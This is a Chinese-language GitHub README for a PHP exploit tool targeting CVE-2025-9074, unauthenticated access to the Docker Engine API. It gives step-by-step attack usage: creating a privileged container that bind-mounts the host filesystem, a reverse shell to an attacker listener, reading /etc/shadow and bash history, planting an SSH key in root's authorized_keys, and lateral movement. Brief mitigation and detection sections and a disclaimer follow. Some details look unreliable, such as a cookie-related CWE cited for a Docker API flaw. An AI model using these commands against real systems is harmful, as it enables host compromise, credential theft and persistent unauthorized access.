c0gnit00/CVE-2025-9074
GitHub: c0gnit00/CVE-2025-9074
针对 Docker Engine API 未授权访问漏洞(CVE-2025-9074)的 PHP 利用工具,可通过创建特权容器实现容器逃逸与宿主机远程代码执行。
Stars: 0 | Forks: 0
# CVE-2025-9074: Docker Engine API 未授权 RCE
CVE-2025-9074 的漏洞概念验证 exploit,这是 Docker Engine API 中的一个未授权远程代码执行漏洞,允许进行特权容器逃逸和宿主系统入侵。
## 🔴 漏洞概述
CVE-2025-9074 是 Docker Desktop 中的一个严重漏洞,该漏洞在暴露 Docker Engine API 时没有进行适当的身份验证或网络隔离。这使得远程攻击者能够:
- 以提升的权限执行任意命令
- 逃逸容器隔离并访问宿主文件系统
- 建立与攻击者控制系统的反弹 shell 连接
- 入侵整个容器宿主机及底层宿主操作系统
### 攻击向量
- **网络暴露**:Docker API 暴露在网络接口上(通常是 2375/TCP 端口)
- **无身份验证**:API 接受未经身份验证的请求
- **特权容器**:能够创建具有宿主文件系统访问权限的特权容器
- **绑定挂载**:通过绑定挂载路径直接访问宿主文件系统
## 📋 要求
- PHP CLI (7.0+)
- 在 PHP 中启用 curl 扩展
- 具备到暴露的 Docker API endpoint 的网络连通性
- Docker Desktop < 4.44.3(存在漏洞的版本)
### 目标系统的要求
此漏洞影响:
- **Docker Desktop for Windows** < 4.44.3
- **Docker Desktop for Mac** < 4.44.3
- **Docker Engine**(在未使用 TLS 暴露的情况下)
## 🚀 快速开始
### 安装
```
git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074
```
### 基本用法
在 Docker 宿主机上执行单条命令:
```
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
```
### 反弹 Shell
建立交互式反弹 shell:
```
# Terminal 1: 启动 listener
nc -lvnp 4444
# Terminal 2: 运行 exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444
```
## 📖 使用指南
### 命令语法
```
php poc.php -u [options]
```
### 选项
| 选项 | 简写 | 必填 | 描述 |
|--------|-------|----------|-------------|
| `--url` | `-u` | ✅ 是 | Docker API URL(例如:`http://1.2.3.4:2375`) |
| `--mode` | `-m` | ❌ 否 | 执行模式:`cmd` 或 `reverse`(默认:`cmd`) |
| `--cmd` | `-c` | ⚠️ cmd 模式需要 | 要在目标上执行的命令 |
| `--lhost` | `-l` | ⚠️ reverse 模式需要 | 用于接收回调的 IP 地址 |
| `--lport` | `-p` | ❌ 否 | 监听端口(默认:4444) |
| `--os` | — | ❌ 否 | 目标 OS:`linux`、`mac`、`windows`(默认:`linux`) |
| `--cleanup` | — | ❌ 否 | 执行完成后移除容器 |
| `--help` | `-h` | ❌ 否 | 显示帮助信息 |
### 模式:命令执行
在目标上执行单条命令:
```
# 简单命令
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"
# 从 host 读取文件
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup
# 带 cleanup
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup
```
### 模式:反弹 Shell
生成带有回调的交互式 shell:
```
php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444
```
### 特定操作系统示例
#### Linux 目标
```
php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux
```
#### Windows 目标
```
php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows
```
#### macOS 目标
```
php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac
```
## 🎯 真实渗透场景
### 1. 信息侦察
```
# 枚举 host 系统
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
```
### 2. 凭据收集
```
# 提取敏感文件
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"
```
### 3. 权限维持
```
# 添加 SSH key
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"
```
### 4. 横向移动
```
# 枚举正在运行的 container 和网络
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"
```
## 🔍 技术细节
### 漏洞机制
1. **暴露的 Docker Socket/API**:Docker API 监听 `0.0.0.0:2375` 且无需身份验证
2. **创建特权容器**:POC 通过 `/containers/create` 创建特权容器
3. **宿主文件系统绑定**:容器使用绑定挂载来访问宿主文件系统:
- **Linux**:`/:/mnt/hostfs`
- **macOS**:`/:/mnt/hostfs`
- **Windows**:`/mnt/host/c:/mnt/hostfs`
4. **命令执行**:在容器内部以 root/SYSTEM 权限执行命令
5. **访问宿主文件系统**:直接对 `/mnt/hostfs` 路径进行读写访问
### Payload 流程
```
┌─────────────────────────────────────────────────────┐
│ poc.php (Your Machine) │
└────────────┬────────────────────────────────────────┘
│ HTTP REST API Call
▼
┌─────────────────────────────────────────────────────┐
│ Docker API (Target Port 2375) [UNAUTHENTICATED] │
└────────────┬────────────────────────────────────────┘
│ Creates Container
▼
┌─────────────────────────────────────────────────────┐
│ Privileged Alpine Container │
│ ├─ Full Root Access │
│ ├─ Bind Mount: /:/mnt/hostfs │
│ └─ Executes Attacker Command │
└────────────┬────────────────────────────────────────┘
│ Command Output
▼
┌─────────────────────────────────────────────────────┐
│ Output Returned to Attacker │
└─────────────────────────────────────────────────────┘
```
### 代码分析
- **Docker API 交互**:使用 cURL 进行 HTTP/1.1 REST API 通信
- **Docker 日志解复用**:正确处理 Docker 的多路复用流格式
- **跨平台支持**:适配 Windows/Mac/Linux 的绑定挂载路径
- **超时处理**:为长时间运行的命令提供 60 秒超时控制
## 🛡️ 缓解措施
### 立即处置行动
1. **升级 Docker Desktop**
# 更新至 4.44.3 或更高版本
2. **网络隔离**
- 将 Docker API 端口 (2375) 限制为仅本地访问
- 使用防火墙规则阻止外部访问
- 禁用 Docker API socket 暴露
3. **启用 TLS 身份验证**
# 为 Docker daemon 配置 TLS 证书
# 在 daemon.json 中:
{
"tlsverify": true,
"tlscacert": "/etc/docker/ca.pem",
"tlscert": "/etc/docker/server-cert.pem",
"tlskey": "/etc/docker/server-key.pem"
}
4. **网络分段**
- 在隔离的网络上运行 Docker Desktop
- 实施零信任网络访问
- 使用 VPN 进行远程访问
### Docker Desktop 设置
- **Windows/Mac**:禁用 "Expose daemon on tcp://localhost:2375"
- 仅使用 Unix socket (`/var/run/docker.sock`) 进行本地访问
- 通过包含凭据的 Docker Context 实施身份验证
## 📊 检测
### 网络检测
```
# 扫描暴露的 Docker API
nmap -p 2375,2376 -sV target_network
# 检查端口是否响应 Docker API
curl -s http://target:2375/version
```
### 日志检测
- 监控 Docker daemon 日志以发现异常的 API 调用
- 对特权容器创建行为进行告警
- 跟踪绑定挂载的使用模式
## ⚠️ 免责声明
**本工具仅供授权的安全测试和教育目的使用。**
- 仅在您拥有或获得明确测试授权的系统上使用此 POC
- 未经授权访问计算机系统是违法行为
- 用户需对自己的行为承担全部责任
- 本 POC 旨在用于授权的渗透测试和漏洞研究
## 📝 参考
- [Docker Engine 安全](https://docs.docker.com/engine/security/)
- [Docker API 文档](https://docs.docker.com/engine/api/)
- [CVE-2025-9074 详情](https://nvd.nist.gov/vuln/detail/CVE-2025-9074)
- [CWE-784: 依赖 Cookies 而缺乏适当验证](https://cwe.mitre.org/data/definitions/784.html)
## 📄 许可证
本项目基于 MIT 许可证授权 - 详见 LICENSE 文件。
## 👤 作者
安全研究员 | 渗透测试工程师
**最后更新**:2025 年 5 月 | **状态**:活跃研究中
标签:ffuf, OpenVAS, PHP, Web截图, Web报告查看器, 安全, 容器安全, 超时处理